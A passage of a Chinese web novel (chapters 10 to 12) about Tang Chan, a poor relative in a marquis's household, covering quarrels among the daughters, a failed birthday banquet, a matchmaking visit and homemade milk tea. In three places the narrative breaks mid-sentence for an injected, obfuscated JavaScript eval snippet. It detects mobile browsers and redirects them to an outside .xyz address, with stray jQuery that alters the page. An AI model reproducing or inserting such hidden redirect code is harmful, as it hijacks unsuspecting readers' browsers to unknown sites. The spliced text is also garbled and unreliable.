屋里一时安静下来,几个人怕触了庞妍的霉头,都不再说话,只各自做着自己的事。 庞盈闷闷不乐地发呆,庞秀描着花样子,庞雅在往一个白瓷瓶中插花,打算做好后给老祖宗送过去,汤婵则摸过庞盈带过来却没人再有心情吃的点心,又泡了一壶茶,准备挨个尝尝。 “小心!” 突然一声惊叫打破了寂静,开口的是庞盈的丫鬟。 庞盈感觉到不对,一低头,便见今日刚穿的新裙子上被甩上了一片墨迹。 这样的痕迹,定然是洗不掉的,好好的一件衣裳便这么毁了。 庞秀不禁满眼心疼,“哎呀,太可惜了。” 多漂亮的裙子呢。 庞盈脾气再好,此时也有些不高兴了。 她扭过头,看向坐在她右后方的庞妍。 屋里只有庞妍在用墨,这只能是她弄的。 “抱歉啊三妹妹,我不是有意的。” 庞妍施施然放下笔,压下自己想要上扬的嘴角,“三妹妹这么大度,定然不会怪罪我吧。” 这简直是睁眼说瞎话,庞盈快气笑了,二人隔着挺远呢,若不是庞妍有意甩的,墨汁哪能飞溅到她这儿,正好落在她的裙子上? 只是她虽性子直,却不是傻,听得出庞妍语意中的阴阳怪气。 这是拿自己之前的话来堵自己呢。 庞盈深吸一口气,罢了,一件衣裳而已,以后离这个二姐姐远些就是了。 “没事,我回去换衣裳。” 见庞盈起身离开,庞妍哼了一声,气总算是平了。 汤婵咽下最后一块点心,又喝口茶顺了顺,心里啧啧两声。 以后的日子可要热闹喽。 10. 第十章 双巧下值回到房里不一会儿,门口响起了敲门声,“姐姐在吗?” 她打开门,看清来人绽出一个笑来,“桂圆?你怎么来了,快进来。” 桂圆是院子里的粗使小丫鬟,比双巧还小两岁,小小的个头一团孩气,此时脸上有点儿不好意思,讨好笑道:“前儿从姐姐那儿那的花样子我描好了,但不知道从哪里下针,想着来问问姐姐……没打扰姐姐吧?” “当然没有,快进来。”双巧笑着把人拉进房里,“哪儿不会?我来教你。” 一个问一个答,桂圆很快便弄明白了,“……原来是这样,姐姐手可真巧!” “你也很聪明呀。”双巧摸摸她头上的小揪,抓了两块麦芽糖给她。 桂圆眼睛一亮,道了谢之后拿了一块放进嘴里,美得眼睛都眯起来了。 双巧不忘嘱咐,“吃完记得好好漱口。” 桂圆点点脑袋,“忘不了!” 与双巧同屋的秋月今晚当值,屋里没有别人,两人坐在窗边叽叽喳喳聊天,突然见到院儿那头走过一个人影。 双巧眼睛一眯,是春桃。 桂圆也看见了对方,捂着嘴悄悄笑道:“还是春桃姐姐爱俏。” 秋老虎一过,京城便有了凉意,丫鬟们都脱去夏衫,换上了小袄,春桃却还穿着单薄的衣衫,显出身体姣好的线条。 双巧眼底闪过一丝鄙夷,不过没叫桂圆发现,“这么晚了,也不知道春桃姐姐去了哪里。” 桂圆嘴里含着糖,模模糊糊道:“世子爷房里的荷露姐姐出嫁,世子爷人好,给荷露姐姐摆了酒,春桃姐姐应该是去吃席刚回来。” 双巧扭头看她,“你怎么知道?” 桂圆道:“我三表姐也在世子爷院里当差呢。” ——别看桂圆在院里只是个不起眼的粗使小丫头,实际上她是侯府世代的家生子,一大家子都在侯府里做活,枝枝蔓蔓能延展到每个地方,虽说做的都是些普通的差事,不像春桃的娘老子极受重用,但论起消息灵通来,桂圆与春桃可谓不遑多让。 双巧摸透了院里粗使小丫头的底细,得知桂圆的身世后,便有意无意多照顾她几分。 二人本就年纪相仿,很快便熟络起来,桂圆憋不住,凑近了双巧悄悄跟她说八卦,“我三表姐还说,春桃姐姐去世子爷院里可频了,怕是想嫁给世子爷呢。” 双巧心中一动,试探问道:“说来世子爷也有十六了,怎么没听说世子爷说了亲事呢?” 桂圆不疑有他,看着屋外没什么人,便小声跟双巧道:“听我二舅母的表姨说,侯夫人想把娘家的三小姐嫁过来,只是老夫人一直没松口,就耽搁到现在了。” 双巧奇道:“就没有其他人选了?” “世子爷被名声耽误了呀,”桂圆叹了口气,带着点不符合她年纪的老成,像模像样地分析,“与侯府门当户对的人家,都希望姑娘嫁给青年才俊,再不济也得寻个上进的姑爷,咱们世子爷虽说性子可好,对咱们这些小丫头和善又亲近,但不读书不练武,千金小姐们瞧不上呀。” “至于不在乎世子爷性子爱玩的,都是冲着侯府的名头来的,想借机攀上侯府,这样的老夫人又哪里瞧得上?” 双巧若有所思,她暗自将这些记好,又引着桂圆换了话题不提。 第二天,双巧这个小耳报神就把刚打听出来的热乎消息告诉了汤婵。 “姑娘,我昨晚听桂圆说,世子爷的婚事一直没定,是因为侯夫人想将侄女儿嫁过来,但老夫人不愿,才僵持到现在呢。” 她将桂圆的话重复了一遍,汤婵听了侯夫人侄女儿这码事,就像按上了拼图最关键的一片。 原来老夫人叫原身母女上京是这个目的! 她不由揉揉额角,这深宅大院表面看着其乐融融,风平浪静,实际上旋涡暗流都在水面下头呢。 老夫人看着慈眉善目,可绝不是好惹的角色,侯夫人虽掌着中馈,但依旧要向老夫人汇报,侯府后院的实际控制权,许是一直握在老夫人手里。 侯夫人又怎么只甘心做名义上的掌权者,想来庞逸的婚事便是她想抢权的一步棋。 照汤婵来看,庞逸确实不务正业,但不至于差到说不上媳妇儿,京中流传的糟糕名声只能是人推波助澜。 至于是谁,只看汤婵刚到侯府那天,庞逸在外头惹了事,侯夫人直接在所有人面前拷问小厮把事情抖出来,便能猜出一二了——那小厮到底是谁的人还另说呢! 庞逸婚事艰难,侯夫人就有极大概率能将侄女儿嫁进来,如此不仅能拿捏庞逸这个继子,还能联合侄女儿一起对抗老夫人。 老夫人当然不会坐以待毙,她接原身母女来京,就是用汤婵的存在提醒侯夫人,给庞逸娶谭家侄女儿掌控侯府,想都别想! 汤婵不信老夫人真的瞧得上自己,不过是用来威慑侯夫人的工具人罢了。 想通这点,汤婵反而安心了。 世上没有无缘无故的好,她一个穷亲戚上门,人家好吃好喝跟养了正经女儿似的招待她,总得图点什么吧,不然汤婵也不得劲,只要不触碰她的底线就是了。 老夫人跟侯夫人婆媳在暗处交锋,大房二房更不必提,看大房的庞妍跟二房的庞盈就知道了,若说两房完全没有嫌隙,不亚于天方夜谭。 总之放眼整个侯府,各有各的心思,一个人恨不得八百个心眼子。 不过……汤婵啧了一声,他们应该在一件事上很是一致——全府的人加起来,怕也没几个真的瞧得上她跟汤母。 哪怕是看着最热情的二房,也不过是表面功夫。 那天汤婵把骁哥儿送回二房,二夫人不仅当面送了镯子,转日又送来了一套头面。 这样重的礼,还不就是为了将帮过二房的情分一笔勾销,划清关系,省得汤婵以后借机缠上来。 汤婵倒是无所谓,这都是些不痛不痒的小事,她也不想热脸贴冷屁股,以后离二房远些就是了。 正想着心思,忽然被通报声打断。 外头一个小丫头来报,“春桃姐姐染了风寒,跟姑娘告两日的假。” “我知晓了,”汤婵回过神,赏了小丫头几个铜板,“叫她好好休息,不必急着回来。” 秋月从听到春桃告假这事开始便不满地皱着眉头,等小丫头下去之后,对汤婵道:“姑娘怎么不仔细问问?谁晓得是不是真的病了,怕是欺您好性儿,又躲懒罢了。” 汤婵不以为意地笑笑,“她本是老夫人房里前途大好的丫鬟,突然被下放到一个穷酸的表姑娘房里,心里不平也正常。” 秋月无奈:“哪有姑娘这么说自己的。” “咱们本就是寄人篱下嘛。” 春桃不愿意在湛露院伺候,汤婵看得明白,所以一直不怎么使唤她。 刚开始春桃还做样子伺候梳洗,汤婵便说对方是老夫人的人,哪里敢劳动姐姐做这种粗活,屋中事务并不叫她插手,后来春桃便理所当然般时常告假,哪怕没有告假,也时常找不到人。 汤婵懒得追究,只将她供起来,当湛露院养个闲人罢了。 “这回怕是真病了,”双巧这时插话解释道,“昨儿晚上我瞧见她回来,只穿着夏衫,桂圆说,许是去世子爷院里吃席去了。” 秋月一听就知道春桃打得什么算盘,她眉头皱得更紧,眼里也露出了厌恶之色。 “不必在意她,”汤婵是真没把她当回事,“走,去给夫……去给母亲请个安。” 比起春桃,还是她们在侯府的处境更重要。 汤婵本想将自己琢磨出来的东西跟汤母说一声,提醒汤母别对侯府太掏心掏肺,只是一进汤母屋里,便见汤母对她招手,“来啦?针线房送来了新衣裳,刚想给你送过去,是之前老祖宗特地吩咐下来给你做的,快来试试。” 汤婵笑着应是。 先试的是一件大红二色金羽缎披风,人靠衣装马靠鞍,这样精致华美的衣裳穿在身上,显得汤婵也贵气了几分。 秋月帮汤婵系上带子整理衣摆,“穿在姑娘身上可真好看。” 汤母也觉着好,眼睛不错地瞧,“过几天妍姐儿生辰办宴,不如就穿这件吧?” “还是算了。”汤婵摇头拒绝,“二妹妹喜红色,过生辰必要穿的,若我与她撞了颜色,怕是有得麻烦。” 汤母想起庞妍的性子,又想起汤婵前些日子说的在学堂发生的事,也说不出话了,“……你说的是。” 几件衣裳一一试过,尺寸都很合适,汤母便叫秋月帮忙收好。 汤婵转过身刚想对汤母说正事,却听汤母道:“老祖宗对咱们这样好,咱们也得显出孝心才是,我寻思着,咱们要不给老祖宗做些针线,虽说定然比不得针线房的手艺,但也是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405510|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份心意。” 汤婵话到在嘴里滚了一圈,又咽了回去。 也是,对汤母来说,比起老夫人这个叔母和侯府一大家子亲人,她这个来历不明的外来户才是外人,倒不必为了还没发生的一点猜测跟汤母起争执。 侯府也是要脸面的,反正大面上不会亏待她就是了。 汤婵笑着应了是,跟汤母聊了聊要做什么针线。 二人正说着,老夫人身边的春芽来了。 “见过姑奶奶、表姑娘。” 春芽是来传话的,“府里来了客,老夫人请姑奶奶和表姑娘。姑奶奶和表姑娘去见见呢。” * “……来的是老夫人的手帕交,早年嫁到了保定府,夫家姓宋。宋家是当地有名的清流氏族,出过不少文人大儒,宋家老夫人的丈夫也曾官至知府,只是宋老夫人命不太好,中年丧夫、老年丧子,幸而有一位出息的孙儿,十八岁便中了举,如今正是孙儿出孝,来京举业的。说来宋家跟老夫人的外祖家还有些亲缘,论起来,府上姑娘们得叫这位宋少爷一声‘表哥’……” 春芽在路上跟汤母汤婵讲了客人的来历,说着便到了福禧堂。 待进得屋里,只见老夫人坐在临窗大炕上,中间隔着炕桌,另一侧坐了一位穿着朴素的老妇人,正是宋家老夫人了。 汤婵仔细看去,这位宋老夫人满头银丝,神色端肃不苟言笑,感觉是个板正严谨的性子,也不知道怎么和总是笑眯眯的老夫人成了好友。 除了汤婵,庞家几姐妹也都被叫了来,在老夫人的介绍下挨个见过。 宋老夫人问姑娘们读过什么书、平时喜欢做些什么,姑娘们挨个儿答了,汤婵混在其中,也随大流说了些“女四书”“做针线”的话。 只是不知道是不是汤婵的错觉,她总觉得宋老夫人在问她跟其他人时,都不甚在意她们究竟答了什么,只有到庞雅时,宋老夫人才好像格外认真似的。 等问完一圈,宋老夫人终于露出一个微微的笑来,对老夫人道:“都是好姑娘,老姐姐教导有方。” 这时外头来报,“宋少爷来拜见老夫人了。” 听到这话,姑娘们就要告退。 宋家少爷是外男,她们自然不好等着见面。 老夫人点了头,却留下了庞雅,“雅姐儿不必走。” 庞雅一愣,转瞬便红了脸。 汤婵不由一笑,心说果然刚刚不是错觉,宋老夫人就是冲庞雅来的,她们剩下这些人都是凑数的。 其他姑娘们也明白过来,原来这一遭是给雅姐儿相亲呢! 庞盈给庞雅递去一个促狭的眼神,连庞秀都捂了嘴笑,得了庞雅一个嗔怒的表情。 姑娘们撤到旁边的暖阁,实在忍不住八卦,叽叽喳喳悄声议论起来。 汤婵将春芽的话跟众人说了,庞秀闻言很是讶异,“十八岁的举人?那这位宋家表哥确实优秀,与解家的小舅舅差不多。” “解家的小舅舅?”汤婵还是第一回听说这个人。 庞秀笑道:“是先头嫡母的娘家弟弟,十九岁便中了举。我姨娘总是跟我弟弟念叨,说以后有解家舅舅的一半,她就能乐得闭眼呢!”她弟弟便是早先见过的适哥儿。 庞盈久未归京,也是第一次听说这些,“十八岁对十九岁,宋家表哥岂不是比解家舅舅还厉害点?” “举人到进士才最难,可不是什么阿猫阿狗都可以的。”一直没说话的庞妍冷不丁道,“解二爷二十登科,得皇上青眼有加,如今才二十有七,便官拜四品,可谓无出其右,你当谁都能比得上?” 庞盈突然被呛,只觉得莫名其妙,“什么‘阿猫阿狗’,二姐姐说话怎么这么难听?” “实话实说而已,”庞妍语气凉凉的,“怎么,这样听不得实话,你瞧上那姓宋的了不成?” 庞秀吓得瞪大了眼,庞盈腾地站了起来,气得小脸通红,“二姐姐慎言!” 姑娘家的闺誉最为要紧,庞妍的话确实过了。 “开个玩笑而已。”庞妍撇了撇嘴,脸上半点歉意没有。 庞盈深吸一口气坐下,告诉自己不跟她一般见识,汤婵心里摇头,转移了话题。 庞妍不屑地转开视线,然而脑海中却控制不住思绪地想起那道身影。 耳边姑娘们的说话声逐渐远去,庞妍径自出神,不由微微痴了…… 11. 第十一章 闺阁小姐们大门不出二门不迈,闲来无事,便热衷于以各种理由办宴交际,其中必不可少的当属生辰宴。 二姑娘庞妍也不例外。 到了庞妍十四岁生辰这日,天公作美,秋高气爽,是个大晴天。 办宴的地方就在侯府府邸的花园,园中种了银杏与梧桐,此时落了一地金黄,霎是好看。 汤婵到得不早不晚,远远便看见今天的主人公庞妍。 庞妍果真是一身红的打扮,上穿桃红缂丝袄,下着朱红撒花裙,胸前戴着赤金镶红宝璎珞圈,瞧着神采飞扬,正在招待陆陆续续抵达的客人。 庞秀小尾巴一样跟在庞妍身后给她打杂,见汤婵来了忙伸手招呼,“表姐!” 庞妍没空搭理汤婵,对庞秀摆了摆手,“你去吧,这儿不用你。” 庞秀听从吩咐,跟汤婵一起找个地方坐了。 二人对视一眼,看见彼此的穿着打扮不约而笑。 汤婵穿着橙黄色长袄,靛蓝色马面裙,庞秀则是鹅黄色短袄、丁香色长裙,大家都不约而同避开了红色的衣服。 “今儿可真是热闹。”汤婵四处打量了一下,已经到的人都有十来位了。 庞秀道:“二姐姐下帖子请了许多人呢。” 庞妍是个好排场的,自然想将自家宴席办得热闹,光帖子便送出去几十份。 庞秀给汤婵一一介绍众人的身份,“……现在被二姐姐引入座的是老祖宗的侄孙女成乐乡君,穿雪青色袄的是富宁侯府的六姑娘……” 汤婵正听着,突然感受到一道审视的视线。 顺着看过去,是个穿藕荷色袄、长相文静秀气的姑娘,对方见她看过来,立刻移开了视线。 庞秀正好说到她,“那位是谭家的三表姐……” 侯夫人的侄女,许是会嫁给庞逸的那位谭家姑娘? 汤婵恍然,怪不得对方会关注到她,想来跟世子庞逸的亲事有关。 也不知这位谭家姑娘最后会不会嫁进庞家。 这时庞盈带着两个小姑娘来了,庞盈额头上还带着点细汗,汤婵顺着几人来的方向望过去,看到一架秋千,三人是荡了秋千过来的。 庞盈给汤婵她们引荐了身边两人,“这两位是我表姐妹,营国公府的十五娘和十六娘。” 二人都是十三四岁年纪,穿着一式的胭脂色袄裙,瞧着跟双胞胎似的。 众人一一见过,方十六娘问汤婵,“怎么之前没见过这位姐姐?” 汤婵笑道:“我以前在杭州府,前些日子才随母亲进京投奔侯府。” 她这么说,方家两位姑娘便心下了然,想来是父亲出了什么事,家道中落才有随母投奔一说。 二人并未因汤婵的出身而露出鄙视,反而因汤婵坦荡大方,对她生出几分好感来,方十五娘笑着问,“都说‘上有天堂,下有苏杭’,这杭州府与京城比起来如何?” “自是各有各的好。” 汤婵顺着她们的话分享了一些见闻,唬得几个十来岁的小姑娘一愣一愣,庞盈更是目露神往,“以后若是有机会,必要见识一番才好!” 方十五娘便打趣道,“那还不简单,改明儿叫姑姑把你嫁去杭州府便是了!” “嘁,”庞盈撇嘴,“我才不要嫁那么远呢!” 几人都笑,等聊了一会儿天,庞盈瞧见另一头有人开始玩投壶,不由手痒,“我去那边瞧瞧!” “你可真是个闲不住的,一会儿都坐不住。”方十五娘笑骂了一句,转头瞧见方十六娘也挺心动的模样,“我与十六妹同你一起吧。” 庞盈被说了也不以为意,笑嘻嘻地问汤婵和庞秀:“表姐和四妹妹去吗?” 二人都婉拒,庞盈便带着方家两位姑娘走了。 她们前脚刚走,后脚庞雅到了。 几人打了招呼,庞秀问:“大姐姐来得晚了些。” “院里有点事情耽误了。”庞雅笑了一下,解释道。 庞秀给庞雅倒了杯热茶,汤婵见庞雅脸色不太好的样子,问道:“妹妹还好吧?瞧你的脸色,昨儿没休息好?” “没事,”庞雅一顿,随即摇了摇头对汤婵笑笑,“只是做了个噩梦而已。” 庞秀便出主意道:“我姨娘调的安神香很是好用,回头给大姐姐送去一些,大姐姐可以试试。” 庞雅没有拒绝,“那便多谢四妹妹和姨娘了。” 汤婵笑道:“对了,还没恭喜妹妹,我听母亲说,宋家已经请了媒人上门提亲了。” 庞雅闻言,拿着茶盏的动作微不可察地一滞。 但她很快恢复了正常,低头似是害羞道:“多谢表姐。” 汤婵捕捉到了庞雅那一点古怪的反应,但她想了想,只作没有发现,并没有刨根问底。 另一边,投壶处,庞盈表姐妹三人认识了新朋友。 信勇伯府的任二姑娘同庞盈三人互相问了礼,几人交换过姓名,又聊了几句,很快便熟悉起来,开始比赛投壶。 任二姑娘是个中好手,方十五娘也不遑多让,两人你追我赶,竟难得被对方激起敌意,想要一较高下。 方十六娘看热闹不嫌事大,“光这般比试怕是无趣,不如咱们加点彩头?” “这个提议好!”庞盈拍手应道,“我是主人家,这个彩头就由我来出罢!” 任二姑娘与方十五娘相视一笑,都未曾反对。 庞盈琢磨了一会儿,叫丫鬟回房取了一套白色瓷盒回来,“这是我刚得的一套脂粉,如果姐妹们不嫌弃,就用它罢!” “等等,”方十五娘认出了什么,没忍住扬起了语调,“这是芙蓉春的脂粉?表妹是从哪里得来的?” 惊讶之下她没能控制住音量,不远处有两个耳朵尖的姑娘听到了关键词,“什么?芙蓉春?” “啊?芙蓉春?哪里哪里?” 一传二二传十,庞盈几个一下子吸引了许多人的注意。 庞盈没料到会引出这么大反应,着实有点懵,“确实是叫芙蓉春来着,我未来大嫂嫂送我的,是有什么不妥吗?” 这回轮到方十五娘愣了,“表妹你竟不知道?” 芙蓉春开在苏杭,是江浙一带最有名的脂粉铺子,所出的胭脂香粉都是以各类鲜花药材加上香料调制而成,用在面上不仅馥郁匀净,还能润泽肌肤,效果比其他铺子里的好上太多。 方十五娘视线落在庞盈手上的几个小白瓷盒上头,“……他们家的东西一传进京城,就被宫里贵人看中,后来便特供宫中以及皇亲国戚,我们这样次一些的勋贵人家,往往供不应求,要看运气才能弄到一些呢。” “原来如此。”庞盈恍然。 庞盈的未来大嫂嫂钱氏是江浙人,芙蓉春是钱氏外祖家的产业,自从钱家与庞盈的大哥定下婚事以后,庞盈每一季都会收到各类粉黛胭脂。之前她久在福建,确实不知这东西在京城竟如此风靡。 老夫人的侄孙女成乐乡君忍不住开口,“三表妹,你有没有办法帮我们弄到一些?价钱不是问题!” 庞盈素来是个热情好客的,闻言自然不会拒绝,“那等我回头写信问问嫂嫂。” “真的?” “太好了!” 都是豆蔻年华的少女,哪个女孩子不喜欢穿着打扮? 众人顺着这个话题,亲亲热热地聊了起来,一时间,聚到庞盈身边的人越来越多,庞妍这个主人公反倒被冷落在一旁了。 甚至还有与庞妍关系亲近的好友对着她夸赞庞盈道:“以前都不知道,你们家竟然还有个这样有趣的姐妹!” 庞妍紧紧攥着帕子,看着如同众星捧月一般的庞盈,笑容越来越难看。 又是庞盈!怎么又是庞盈!? 自从二房回来,她就没过过一天顺心日子! 终是看不得对方得意的样子,过了一会儿,庞妍挤出一个笑来,走过去对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405511|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庞盈道:“三妹妹,我叫厨房备了菜,你帮我去看看准备得如何了。” 庞盈还有方家姐妹和众人聊得正欢,此时被庞妍打断,庞盈还未来得及开口,方十五娘先不高兴了。 她在家素来得宠,此时也不惯着,不软不硬地顶了回去,“还是叫丫鬟去罢?” 方十六娘也听不惯庞妍的语气,拿帕子掩了掩嘴角,与姐姐一唱一和道:“二表姐这话说的,知道的是二表姐请妹妹帮忙,不知道的还以为你使唤下人呢。” 庞妍不喜庞盈,又怎么会看得惯她的娘家亲戚,听方家姐妹嘲讽,自然忍不住脾气,“我同我妹妹说话,有些人乱插什么嘴?” 庞盈本来都要起身应了,听庞妍这样说,本能地回护方家姐妹道:“二姐姐,方家二位表姐妹是客人。” 庞妍恼怒不已,脑子一热,竟冷冷一笑,不管不顾地吵了起来,“你是姓庞还是姓方?” 庞盈脸色一僵。 围观的人则面面相觑,都是掩不住的惊讶。 姐妹之间不合的并不少见,但自家姐妹在窝里怎么斗都行,闹到外人面前的可真不太多。 庞妍话说出口,也反应过来不合适了。她脸色难看,却不知如何开口补救。 庞雅本来在跟汤婵说话,后来也将注意力投向了这边,听见庞妍的话不由眼前一黑。 怎么就不能缝上庞妍这张嘴? 但庞雅明白不能让外人看笑话这个道理,再怎么不满,还是连忙出言解围,“二妹妹,我去看看吧。” 庞盈也待不下去了,跟着庞雅起身,“我跟大姐姐一起去。” 今日来的客人毕竟都跟庆祥侯府关系亲近,众人各自对视一眼,默契地将这茬岔了过去。 最终宴席在奇怪的氛围中结束,庆祥侯府的姑娘这次算是出了风头,却是一个谁都不想出的风头。 福禧堂里,庞家四位姑娘并着汤婵跪在老夫人面前。 “平日里小打小闹就算了,”素来笑眯眯地老夫人这次怫然不悦,沉声训斥,“如今倒好,丢脸丢到外头去了!” 经此一事,庆祥侯府二姑娘不友爱姐妹的跋扈名声算是传了出去,多少人提起来,就是带着意味深长说,庞二姑娘好生威风,真是长了见识。 庞妍像是羽毛被打湿的小鸡,没了平日半点的张扬,只倔强的抿着嘴,不肯开口服输。 侯夫人意识到了事情的严重性,赶紧在老夫人面前认错,“是媳妇失职,没能教导好女儿……” “你确实失职。”老夫人冷冷道,“妍姐儿去跪三天祠堂,禁足院里三个月,抄女德女诫,盈姐儿跪一天,禁足两个月,好生反省。其他几个人也都别出门了,好好在家里呆着避避风头吧。” 这惩罚不可谓不重,二夫人简直要恨死连累庞盈的庞妍了,“老祖宗,这事儿归根结底是妍姐儿不对……” 要不是庞妍挑事又出口不逊,事情怎么会闹成这样? “一荣俱荣一损俱损,一个女儿名声不好,家里其他女儿逃得掉吗?”老夫人抬起眼皮看她,冷声问道,“还是你觉得盈姐儿有个名声不好的姐妹很光荣?” 二夫人张了张口又闭上,不知是没得争辩,还是不敢争辩。 “再者,你觉得盈姐儿一点儿没错?”老夫人又看向庞盈,“盈姐儿,你自己说。” 庞盈咬着嘴唇,实在想不到自己有哪里不对。 思来想去,许是二姐姐同方家表姐吵起来时,应当向着二姐姐? 可她与二姐姐素来不合,感情上自然是同表姐妹更加亲近,再者说,总不能任由表姐妹替自己挨骂吧? 老夫人见她依旧不解,不由叹了口气:“妍姐儿的席,你就非得要出个风头吗?” 庞盈一愣,随即哑然。 “是孙女考虑不周。”庞盈低声道。 见她认错,老夫人也没有揪着不放,她疲累地闭了眼,“行了,都下去吧。” 12. 第十二章 “这天气是愈发冷了。” 刚进十月,京城下了第一场雪。汤婵兴致大发,开窗观赏景色,结果没一会儿,就被北风成了傻子。 她吸了吸冻红的鼻尖,灰溜溜地抬手关上了窗户。 窗户被留出一条缝隙,传来呼呼的风声,屋里燃着炭盆,不时发出劈啪的轻微声响。 小丫头双巧颇有些无奈地看着汤婵,不像看主子,倒像看着不懂事不听劝非要闹的熊孩子,“早就跟您说啦!” 汤婵长叹一口气,认命地窝回到暖炕上瘫着,“这不是太无聊了嘛。” 距离二姑娘庞妍生辰宴上同庞盈起争执、老夫人生气下达禁足令已经半个来月了。 一开始,汤婵本来没把禁足太当回事。 想当年工作忙得天昏地暗的时候,天天都梦想辞职,先宅在家里当个一整年废物再说。 谁还不是个死宅了咋滴? 然而很快她就意识到,有互联网的宅跟没有互联网的宅是两码事! 没有电子榨菜打发时间,时间的尺度明显拉长,宅在小院的日子很快就乏味起来。 她连打发时间的闲书都没得看——话本子在内宅是禁物,闺阁小姐是决不许看的,按汤母的话说,“都是些书生意淫,什么相府千金爱慕落魄书生,不顾闺誉与其幽会,谁家爱重自身的好姑娘会做出这种事来?再不就是讲些秽乱不堪的民间事,好人家的姑娘可不许沾染”,唯恐天真的少女移了性情。 侯府长辈自然也都是这个想法,宅门规矩森严,汤婵想偷渡话本子进内宅都做不到。 看着汤婵双目无神又空虚的样子,双巧掩着嘴笑,她知道汤婵性格随和,如今打趣起来不带犹豫的,“要不禁足怎么能算是惩罚呢?” “哎,是我天真了。” 正说着话,外头有人来了,是来送东西的,“老夫人叫送来的金乳酥,配着刚煮好的杏仁茶,给表姑娘尝尝。” 秋月打开食盒一看,“呀,还是热的呢,姑娘要不要用些?” “唔,也好。” 汤婵慢腾腾地爬起来。虽然燃着炭盆,但屋里没有地龙,温度一直不算很高,汤婵也不下地,就在炕上摆了了个小炕桌,披着衣服准备就这么吃。 秋月动作麻利地将东西摆到桌上,汤婵眼尖地发现她的手指有一些红肿的斑块,眉头蹙起,“你手怎么了?长冻疮了?” 秋月反射性一缩手,然后笑着摇头道:“没事的姑娘,有年头的老毛病了,不是什么大事。” 汤婵又把双巧叫过来一瞧,小丫头的手也红了一片。 南方冬日湿冷,干活的丫鬟没有不长冻疮的,而北方的寒潮来得比南方迅疾猛烈,这年头可没有什么南方人比北方人抗冻的说法,两个丫鬟一不注意受了冻,冻疮就这么复发了。 秋月见汤婵始终没有展眉,心中一暖,宽慰道:“已经开过药的,姑娘不必担心。” 汤婵能一直窝在热腾腾的暖炕上,丫鬟却不行。她瞧了瞧热乎冒气的杏仁茶,只有一小壶,想了想,心里有了主意。 “昨儿是不是有一道芋头排骨来着?去厨房问问还有没有芋头剩下,如果有的话要一些回来,再要些新鲜牛乳和砂糖。” 牛乳是冬季补身的好物,如今天气冷,不怕像夏天似的放一会儿就坏,厨房每天都常备着新鲜的,只是老夫人不爱这口,只是偶尔配菜时用,侯府每天都能剩下不少。 秋月不解:“姑娘要这些作甚?” 汤婵笑笑,“馋了,煮点东西喝。” 秋月不明所以,但还是拿了银子,往厨房去了。 过了一会儿,秋月带着东西回来,还跟着个拎着满满一小桶牛奶的婆子,“姑娘,你要的东西都齐了。” 汤婵把自己裹成一个球下了地,看完这些东西满意地点了点头。 她给跑腿的婆子看了赏,回身翻出老夫人赏她的一小罐茶叶,“走,去小厨房。” 湛露院有一个小厨房,说是小厨房,只是一个简单小灶和炉子,做不了大菜,只是用来加热菜式,或是熬些汤汤水水而已。 但这对汤婵也够了,秋月和双巧都好奇地跟在汤婵身后,想看她究竟要干什么。 小厨房升着火,温度还好,汤婵把斗篷脱了交给秋月。 见她想要动手的样子,双巧连忙上前阻止,“姑娘要做什么,我来吧!” 汤婵也没拒绝双巧帮忙,让她将芋头洗净,切块,上锅蒸熟,随后加上牛奶,用勺子压成芋泥备用。 她自己则是将茶叶和白糖放进锅里,小火慢炒,直到白糖融化变成焦色冒出泡泡,先后加入开水喝牛奶搅拌均匀,煮三两分钟出香味之后倒出来过滤一下茶叶,再倒进双巧备好的芋泥,基础款的芋泥奶茶就做好了。 她笑着给满脸新奇的秋月和双巧各自倒了一杯,“尝尝。” 两个丫鬟捧着热乎的奶茶,小心喝了一口。 香甜暖和的液体落入胃袋,很是熨帖,二人的眼睛一下就亮了。 “好喝!” “那就多喝点。” 汤婵笑着对两个小姑娘说,自己也倒了一杯。 熟悉又陌生的味道入口,汤婵抿了抿唇,脑海中过去的记忆浮现,不由出了神。 汤母找到小厨房的时候,看到的就是汤婵和两个丫鬟对着炉子捧着茶杯咕嘟咕嘟的样子。 “我本来还担忧你禁足会吃不好睡不好,”汤母带着点无奈打趣道,“如今看来,是我多想了。” 汤婵回过神,赶紧起来给汤母请安,闻言嘿嘿笑了一下。 以她的脸皮,哪会觉得不好意思,“让您见笑了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405512|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤母好奇地看着她手中散发着香甜味道的饮品,“这是什么?” “奶茶,”汤婵给汤母也倒了一杯,“您也尝尝。” 汤母喝了一小口,只觉得入口顺滑细腻,有些惊喜,“这是怎么做的?是牛乳吧,却完全没有膻腥味。” 汤婵解释,“和茶叶一起煮的,加了砂糖。” 